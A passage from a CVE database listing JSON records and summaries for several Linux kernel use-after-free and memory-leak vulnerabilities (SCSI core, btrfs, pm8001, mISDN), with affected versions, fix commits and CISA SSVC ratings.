              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2022-48666",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-04-29T13:16:40.985574Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-416",
                "description": "CWE-416 Use After Free",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:16:47.878Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-03T15:17:55.718Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/5ce8fad941233e81f2afb5b52a3fcddd3ba8732f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f818708eeeae793e12dc39f8984ed7732048a7d9"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2e7eb4c1e8af8385de22775bd0be552f59b28c9a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8fe4ce5836e932f5766317cb651c1ff2a4cd0506"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/scsi/hosts.c",
            "drivers/scsi/scsi_lib.c",
            "drivers/scsi/scsi_priv.h",
            "drivers/scsi/scsi_scan.c",
            "drivers/scsi/scsi_sysfs.c",
            "include/scsi/scsi_host.h"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "5ce8fad941233e81f2afb5b52a3fcddd3ba8732f",
              "status": "affected",
              "version": "65ca846a53149a1a72cd8d02e7b2e73dd545b834",
              "versionType": "git"
            },
            {
              "lessThan": "f818708eeeae793e12dc39f8984ed7732048a7d9",
              "status": "affected",
              "version": "65ca846a53149a1a72cd8d02e7b2e73dd545b834",
              "versionType": "git"
            },
            {
              "lessThan": "2e7eb4c1e8af8385de22775bd0be552f59b28c9a",
              "status": "affected",
              "version": "65ca846a53149a1a72cd8d02e7b2e73dd545b834",
              "versionType": "git"
            },
            {
              "lessThan": "8fe4ce5836e932f5766317cb651c1ff2a4cd0506",
              "status": "affected",
              "version": "65ca846a53149a1a72cd8d02e7b2e73dd545b834",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/scsi/hosts.c",
            "drivers/scsi/scsi_lib.c",
            "drivers/scsi/scsi_priv.h",
            "drivers/scsi/scsi_scan.c",
            "drivers/scsi/scsi_sysfs.c",
            "include/scsi/scsi_host.h"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.7"
            },
            {
              "lessThan": "5.7",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.223",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.164",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.19.*",
              "status": "unaffected",
              "version": "5.19.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.0",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.223",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.164",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.19.12",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.0",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: core: Fix a use-after-free\n\nThere are two .exit_cmd_priv implementations. Both implementations use\nresources associated with the SCSI host. Make sure that these resources are\nstill available when .exit_cmd_priv is called by waiting inside\nscsi_remove_host() until the tag set has been freed.\n\nThis commit fixes the following use-after-free:\n\n==================================================================\nBUG: KASAN: use-after-free in srp_exit_cmd_priv+0x27/0xd0 [ib_srp]\nRead of size 8 at addr ffff888100337000 by task multipathd/16727\nCall Trace:\n \u003cTASK\u003e\n dump_stack_lvl+0x34/0x44\n print_report.cold+0x5e/0x5db\n kasan_report+0xab/0x120\n srp_exit_cmd_priv+0x27/0xd0 [ib_srp]\n scsi_mq_exit_request+0x4d/0x70\n blk_mq_free_rqs+0x143/0x410\n __blk_mq_free_map_and_rqs+0x6e/0x100\n blk_mq_free_tag_set+0x2b/0x160\n scsi_host_dev_release+0xf3/0x1a0\n device_release+0x54/0xe0\n kobject_put+0xa5/0x120\n device_release+0x54/0xe0\n kobject_put+0xa5/0x120\n scsi_device_dev_release_usercontext+0x4c1/0x4e0\n execute_in_process_context+0x23/0x90\n device_release+0x54/0xe0\n kobject_put+0xa5/0x120\n scsi_disk_release+0x3f/0x50\n device_release+0x54/0xe0\n kobject_put+0xa5/0x120\n disk_release+0x17f/0x1b0\n device_release+0x54/0xe0\n kobject_put+0xa5/0x120\n dm_put_table_device+0xa3/0x160 [dm_mod]\n dm_put_device+0xd0/0x140 [dm_mod]\n free_priority_group+0xd8/0x110 [dm_multipath]\n free_multipath+0x94/0xe0 [dm_multipath]\n dm_table_destroy+0xa2/0x1e0 [dm_mod]\n __dm_destroy+0x196/0x350 [dm_mod]\n dev_remove+0x10c/0x160 [dm_mod]\n ctl_ioctl+0x2c2/0x590 [dm_mod]\n dm_ctl_ioctl+0x5/0x10 [dm_mod]\n __x64_sys_ioctl+0xb4/0xf0\n dm_ctl_ioctl+0x5/0x10 [dm_mod]\n __x64_sys_ioctl+0xb4/0xf0\n do_syscall_64+0x3b/0x90\n entry_SYSCALL_64_after_hwframe+0x46/0xb0"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T18:44:47.627Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/5ce8fad941233e81f2afb5b52a3fcddd3ba8732f"
        },
        {
          "url": "https://git.kernel.org/stable/c/f818708eeeae793e12dc39f8984ed7732048a7d9"
        },
        {
          "url": "https://git.kernel.org/stable/c/2e7eb4c1e8af8385de22775bd0be552f59b28c9a"
        },
        {
          "url": "https://git.kernel.org/stable/c/8fe4ce5836e932f5766317cb651c1ff2a4cd0506"
        }
      ],
      "title": "scsi: core: Fix a use-after-free",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2022-48666",
    "datePublished": "2024-04-28T13:01:50.526Z",
    "dateReserved": "2024-02-25T13:44:28.320Z",
    "dateUpdated": "2026-05-11T18:44:47.627Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2022-48733 (GCVE-0-2022-48733)

Vulnerability from cvelistv5 – Published: 2024-06-20 11:13 – Updated: 2026-05-11 18:45

Title

btrfs: fix use-after-free after failure to create a snapshot

Summary

In the Linux kernel, the following vulnerability has been resolved: btrfs: fix use-after-free after failure to create a snapshot At ioctl.c:create_snapshot(), we allocate a pending snapshot structure and then attach it to the transaction's list of pending snapshots. After that we call btrfs_commit_transaction(), and if that returns an error we jump to 'fail' label, where we kfree() the pending snapshot structure. This can result in a later use-after-free of the pending snapshot: 1) We allocated the pending snapshot and added it to the transaction's list of pending snapshots; 2) We call btrfs_commit_transaction(), and it fails either at the first call to btrfs_run_delayed_refs() or btrfs_start_dirty_block_groups(). In both cases, we don't abort the transaction and we release our transaction handle. We jump to the 'fail' label and free the pending snapshot structure. We return with the pending snapshot still in the transaction's list; 3) Another task commits the transaction. This time there's no error at all, and then during the transaction commit it accesses a pointer to the pending snapshot structure that the snapshot creation task has already freed, resulting in a user-after-free. This issue could actually be detected by smatch, which produced the following warning: fs/btrfs/ioctl.c:843 create_snapshot() warn: '&pending_snapshot->list' not removed from list So fix this by not having the snapshot creation ioctl directly add the pending snapshot to the transaction's list. Instead add the pending snapshot to the transaction handle, and then at btrfs_commit_transaction() we add the snapshot to the list only when we can guarantee that any error returned after that point will result in a transaction abort, in which case the ioctl code can safely free the pending snapshot and no one can access it anymore.

Severity ?

No CVSS data available.

Assigner

Linux

References

4 references

URL	Tags
https://git.kernel.org/stable/c/7e4c72dbaf62f8978…
https://git.kernel.org/stable/c/a7b717fa15165d3d9…
https://git.kernel.org/stable/c/9372fa1d73da5f167…
https://git.kernel.org/stable/c/28b21c558a3753171…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: c37b2b6269ee4637fb7cdb5da0d1e47215d57ce2 , < 7e4c72dbaf62f8978af8321a24dbd35566d3a78a (git) Affected: c37b2b6269ee4637fb7cdb5da0d1e47215d57ce2 , < a7b717fa15165d3d9245614680bebc48a52ac05d (git) Affected: c37b2b6269ee4637fb7cdb5da0d1e47215d57ce2 , < 9372fa1d73da5f1673921e365d0cd2c27ec7adc2 (git) Affected: c37b2b6269ee4637fb7cdb5da0d1e47215d57ce2 , < 28b21c558a3753171097193b6f6602a94169093a (git)
Linux	Linux	Affected: 3.7 Unaffected: 0 , < 3.7 (semver) Unaffected: 5.10.226 , ≤ 5.10.* (semver) Unaffected: 5.15.22 , ≤ 5.15.* (semver) Unaffected: 5.16.8 , ≤ 5.16.* (semver) Unaffected: 5.17 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T21:46:47.137Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a7b717fa15165d3d9245614680bebc48a52ac05d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/9372fa1d73da5f1673921e365d0cd2c27ec7adc2"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/28b21c558a3753171097193b6f6602a94169093a"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2022-48733",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:10:54.149503Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:48.869Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/btrfs/ioctl.c",
            "fs/btrfs/transaction.c",
            "fs/btrfs/transaction.h"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "7e4c72dbaf62f8978af8321a24dbd35566d3a78a",
              "status": "affected",
              "version": "c37b2b6269ee4637fb7cdb5da0d1e47215d57ce2",
              "versionType": "git"
            },
            {
              "lessThan": "a7b717fa15165d3d9245614680bebc48a52ac05d",
              "status": "affected",
              "version": "c37b2b6269ee4637fb7cdb5da0d1e47215d57ce2",
              "versionType": "git"
            },
            {
              "lessThan": "9372fa1d73da5f1673921e365d0cd2c27ec7adc2",
              "status": "affected",
              "version": "c37b2b6269ee4637fb7cdb5da0d1e47215d57ce2",
              "versionType": "git"
            },
            {
              "lessThan": "28b21c558a3753171097193b6f6602a94169093a",
              "status": "affected",
              "version": "c37b2b6269ee4637fb7cdb5da0d1e47215d57ce2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/btrfs/ioctl.c",
            "fs/btrfs/transaction.c",
            "fs/btrfs/transaction.h"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.7"
            },
            {
              "lessThan": "3.7",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.226",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.22",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.16.*",
              "status": "unaffected",
              "version": "5.16.8",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "5.17",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.226",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.22",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.16.8",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.17",
                  "versionStartIncluding": "3.7",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: fix use-after-free after failure to create a snapshot\n\nAt ioctl.c:create_snapshot(), we allocate a pending snapshot structure and\nthen attach it to the transaction\u0027s list of pending snapshots. After that\nwe call btrfs_commit_transaction(), and if that returns an error we jump\nto \u0027fail\u0027 label, where we kfree() the pending snapshot structure. This can\nresult in a later use-after-free of the pending snapshot:\n\n1) We allocated the pending snapshot and added it to the transaction\u0027s\n   list of pending snapshots;\n\n2) We call btrfs_commit_transaction(), and it fails either at the first\n   call to btrfs_run_delayed_refs() or btrfs_start_dirty_block_groups().\n   In both cases, we don\u0027t abort the transaction and we release our\n   transaction handle. We jump to the \u0027fail\u0027 label and free the pending\n   snapshot structure. We return with the pending snapshot still in the\n   transaction\u0027s list;\n\n3) Another task commits the transaction. This time there\u0027s no error at\n   all, and then during the transaction commit it accesses a pointer\n   to the pending snapshot structure that the snapshot creation task\n   has already freed, resulting in a user-after-free.\n\nThis issue could actually be detected by smatch, which produced the\nfollowing warning:\n\n  fs/btrfs/ioctl.c:843 create_snapshot() warn: \u0027\u0026pending_snapshot-\u003elist\u0027 not removed from list\n\nSo fix this by not having the snapshot creation ioctl directly add the\npending snapshot to the transaction\u0027s list. Instead add the pending\nsnapshot to the transaction handle, and then at btrfs_commit_transaction()\nwe add the snapshot to the list only when we can guarantee that any error\nreturned after that point will result in a transaction abort, in which\ncase the ioctl code can safely free the pending snapshot and no one can\naccess it anymore."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T18:45:54.500Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/7e4c72dbaf62f8978af8321a24dbd35566d3a78a"
        },
        {
          "url": "https://git.kernel.org/stable/c/a7b717fa15165d3d9245614680bebc48a52ac05d"
        },
        {
          "url": "https://git.kernel.org/stable/c/9372fa1d73da5f1673921e365d0cd2c27ec7adc2"
        },
        {
          "url": "https://git.kernel.org/stable/c/28b21c558a3753171097193b6f6602a94169093a"
        }
      ],
      "title": "btrfs: fix use-after-free after failure to create a snapshot",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2022-48733",
    "datePublished": "2024-06-20T11:13:20.737Z",
    "dateReserved": "2024-06-20T11:09:39.053Z",
    "dateUpdated": "2026-05-11T18:45:54.500Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2022-48791 (GCVE-0-2022-48791)

Vulnerability from cvelistv5 – Published: 2024-07-16 11:43 – Updated: 2026-05-11 18:47

Title

scsi: pm8001: Fix use-after-free for aborted TMF sas_task

Summary

In the Linux kernel, the following vulnerability has been resolved: scsi: pm8001: Fix use-after-free for aborted TMF sas_task Currently a use-after-free may occur if a TMF sas_task is aborted before we handle the IO completion in mpi_ssp_completion(). The abort occurs due to timeout. When the timeout occurs, the SAS_TASK_STATE_ABORTED flag is set and the sas_task is freed in pm8001_exec_internal_tmf_task(). However, if the I/O completion occurs later, the I/O completion still thinks that the sas_task is available. Fix this by clearing the ccb->task if the TMF times out - the I/O completion handler does nothing if this pointer is cleared.

Severity ?

No CVSS data available.

Assigner

Linux

References

4 references

URL	Tags
https://git.kernel.org/stable/c/d872e7b5fe38f325f…
https://git.kernel.org/stable/c/3c334cdfd94945b8e…
https://git.kernel.org/stable/c/510b21442c3a2e3ec…
https://git.kernel.org/stable/c/61f162aa4381845ac…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 968ee9176a4489ce6d5ee54ff88dadfbff9b95f4 , < d872e7b5fe38f325f5206b6872746fa02c2b4819 (git) Affected: d712d3fb484b7fa8d1d57e9ca6f134bb9d8c18b1 , < 3c334cdfd94945b8edb94022a0371a8665b17366 (git) Affected: d712d3fb484b7fa8d1d57e9ca6f134bb9d8c18b1 , < 510b21442c3a2e3ecc071ba3e666b320e7acdd61 (git) Affected: d712d3fb484b7fa8d1d57e9ca6f134bb9d8c18b1 , < 61f162aa4381845acbdc7f2be4dfb694d027c018 (git) Affected: fa3c19ceaa8b4b7c29d710c2c407df57d256a6c5 (git)
Linux	Linux	Affected: 5.14 Unaffected: 0 , < 5.14 (semver) Unaffected: 5.10.102 , ≤ 5.10.* (semver) Unaffected: 5.15.25 , ≤ 5.15.* (semver) Unaffected: 5.16.11 , ≤ 5.16.* (semver) Unaffected: 5.17 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-03T15:25:00.417Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d872e7b5fe38f325f5206b6872746fa02c2b4819"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3c334cdfd94945b8edb94022a0371a8665b17366"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/510b21442c3a2e3ecc071ba3e666b320e7acdd61"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/61f162aa4381845acbdc7f2be4dfb694d027c018"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2022-48791",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T16:59:35.678672Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:15.736Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/scsi/pm8001/pm8001_sas.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "d872e7b5fe38f325f5206b6872746fa02c2b4819",
              "status": "affected",
              "version": "968ee9176a4489ce6d5ee54ff88dadfbff9b95f4",
              "versionType": "git"
            },
            {
              "lessThan": "3c334cdfd94945b8edb94022a0371a8665b17366",
              "status": "affected",
              "version": "d712d3fb484b7fa8d1d57e9ca6f134bb9d8c18b1",
              "versionType": "git"
            },
            {
              "lessThan": "510b21442c3a2e3ecc071ba3e666b320e7acdd61",
              "status": "affected",
              "version": "d712d3fb484b7fa8d1d57e9ca6f134bb9d8c18b1",
              "versionType": "git"
            },
            {
              "lessThan": "61f162aa4381845acbdc7f2be4dfb694d027c018",
              "status": "affected",
              "version": "d712d3fb484b7fa8d1d57e9ca6f134bb9d8c18b1",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "fa3c19ceaa8b4b7c29d710c2c407df57d256a6c5",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/scsi/pm8001/pm8001_sas.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.14"
            },
            {
              "lessThan": "5.14",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.102",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.25",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.16.*",
              "status": "unaffected",
              "version": "5.16.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "5.17",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.102",
                  "versionStartIncluding": "5.10.61",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.25",
                  "versionStartIncluding": "5.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.16.11",
                  "versionStartIncluding": "5.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.17",
                  "versionStartIncluding": "5.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "5.13.13",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: pm8001: Fix use-after-free for aborted TMF sas_task\n\nCurrently a use-after-free may occur if a TMF sas_task is aborted before we\nhandle the IO completion in mpi_ssp_completion(). The abort occurs due to\ntimeout.\n\nWhen the timeout occurs, the SAS_TASK_STATE_ABORTED flag is set and the\nsas_task is freed in pm8001_exec_internal_tmf_task().\n\nHowever, if the I/O completion occurs later, the I/O completion still\nthinks that the sas_task is available. Fix this by clearing the ccb-\u003etask\nif the TMF times out - the I/O completion handler does nothing if this\npointer is cleared."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T18:47:09.940Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/d872e7b5fe38f325f5206b6872746fa02c2b4819"
        },
        {
          "url": "https://git.kernel.org/stable/c/3c334cdfd94945b8edb94022a0371a8665b17366"
        },
        {
          "url": "https://git.kernel.org/stable/c/510b21442c3a2e3ecc071ba3e666b320e7acdd61"
        },
        {
          "url": "https://git.kernel.org/stable/c/61f162aa4381845acbdc7f2be4dfb694d027c018"
        }
      ],
      "title": "scsi: pm8001: Fix use-after-free for aborted TMF sas_task",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2022-48791",
    "datePublished": "2024-07-16T11:43:47.211Z",
    "dateReserved": "2024-07-16T11:38:08.893Z",
    "dateUpdated": "2026-05-11T18:47:09.940Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2022-48863 (GCVE-0-2022-48863)

Vulnerability from cvelistv5 – Published: 2024-07-16 12:25 – Updated: 2026-05-11 18:48

Title

mISDN: Fix memory leak in dsp_pipeline_build()

Summary

In the Linux kernel, the following vulnerability has been resolved: mISDN: Fix memory leak in dsp_pipeline_build() dsp_pipeline_build() allocates dup pointer by kstrdup(cfg), but then it updates dup variable by strsep(&dup, "|"). As a result when it calls kfree(dup), the dup variable contains NULL. Found by Linux Driver Verification project (linuxtesting.org) with SVACE.

Severity ?

No CVSS data available.

Assigner

Linux

References

4 references

URL	Tags
https://git.kernel.org/stable/c/a3d5fcc6cf2ecbba5…
https://git.kernel.org/stable/c/7777b1f795af1bb43…
https://git.kernel.org/stable/c/640445d6fc059d451…
https://git.kernel.org/stable/c/c6a502c2299941c83…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 960366cf8dbb3359afaca30cf7fdbf69a6d6dda7 , < a3d5fcc6cf2ecbba5a269631092570aa285a24cb (git) Affected: 960366cf8dbb3359afaca30cf7fdbf69a6d6dda7 , < 7777b1f795af1bb43867375d8a776080111aae1b (git) Affected: 960366cf8dbb3359afaca30cf7fdbf69a6d6dda7 , < 640445d6fc059d4514ffea79eb4196299e0e2d0f (git) Affected: 960366cf8dbb3359afaca30cf7fdbf69a6d6dda7 , < c6a502c2299941c8326d029cfc8a3bc8a4607ad5 (git)
Linux	Linux	Affected: 2.6.27 Unaffected: 0 , < 2.6.27 (semver) Unaffected: 5.10.106 , ≤ 5.10.* (semver) Unaffected: 5.15.29 , ≤ 5.15.* (semver) Unaffected: 5.16.15 , ≤ 5.16.* (semver) Unaffected: 5.17 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-03T15:25:01.685Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a3d5fcc6cf2ecbba5a269631092570aa285a24cb"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7777b1f795af1bb43867375d8a776080111aae1b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/640445d6fc059d4514ffea79eb4196299e0e2d0f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c6a502c2299941c8326d029cfc8a3bc8a4607ad5"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2022-48863",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T16:25:25.668277Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:07.200Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
